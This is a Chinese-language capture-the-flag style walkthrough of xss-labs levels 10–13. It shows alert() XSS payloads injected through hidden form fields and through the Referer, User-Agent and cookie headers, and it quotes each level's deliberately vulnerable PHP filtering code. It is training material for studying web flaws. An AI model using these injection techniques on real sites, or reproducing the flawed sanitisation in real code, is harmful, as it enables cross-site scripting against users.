xss-labs靶场训练(10-13关)
第十关
先用<script>alert(xss)</script>试试

这里发现一个隐藏的form表单,里面有3个隐藏的变量:t_link、t_history、t_sort。
把三个参数都传进去试试看:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_link=1&t_history=2&t_sort=3

发现t_sort可以传入参数,构造Payload:
t_sort=<script>alert(/xss/)</script>

尖括号被过滤掉了,尝试一下用onclick弹窗。
Payload:
http://192.168.121.129/xss/level10.php?keyword=well done!&t_sort="type=text οnclick=alert(1)//
因为输入框被隐藏了,得利用type="text"把输入框显示出来,这样才能点击输入框触发弹窗。

成功弹窗

后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里把t_link、t_history、t_sort三个变量都隐藏了,而且只有t_sort可以接收参数,同时也把t_sort的尖括号过滤掉了。利用onclick时件可以成功绕过。
第十一关
来到先查看一下前端代码,看它又出什么新花样

这里比上一关多了个变量,而且值还是上一关的URL,初步判断这是个referer,
还是先试一下上一关的方法先

估计后台直接在传入参数那实体化了。那就在这个新增加的参数那下手吧,利用OWASP ZAP截断代理,把Referer改成payload:
"type=text onclick=alert(1)//

成功绕过

后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里用到了一个PHP预定义的超级全局变量$_SERVER,这是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$_SERVER['HTTP_REFERER']作用:引导用户代理到当前页的前一页的地址。
第十二关
先查看一下前端代码

这里把上一关的Referer改成了User-Agent
用OWASP ZAP截断代理,把User-Agent改成payload:"type=text onclick=alert(1)//

成功绕过

后台关键代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里用了HTTP_USER_AGENT来获取用户的相关信息的,包括用户使用的浏览器,操作系统等信息,把这段信息改成payload即可绕过。
第十三关
这关的新变量是t_cook了,看名字有可能是cookie

用OWASP ZAP截断代理,把cookie改成payload:"type=text onclick=alert(1)//

没变化

仔细看一下原来还有个user=,把payload加再user=后面

成功绕过

后台关键代码:
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里的$_COOKIE变量用于取回 cookie 的值,$_COOKIE["user"]的作用是取回名为 “user” 的 cookie 的值,因此,在user后面插入payload即可绕过。
总结
这几关都利用了隐藏表单,而且有多个隐藏变量。
绕过思路:
- 先测试一下哪些变量可以传参数
- 然后构造payload触发弹窗
- 如果是onclick或者 onmouseover时件得把隐藏的输入框显示出来
- 如果变量涉及到http报文的相关信息,可以利用代理软件拦截数据包,然后注入payload
更多推荐
所有评论(0)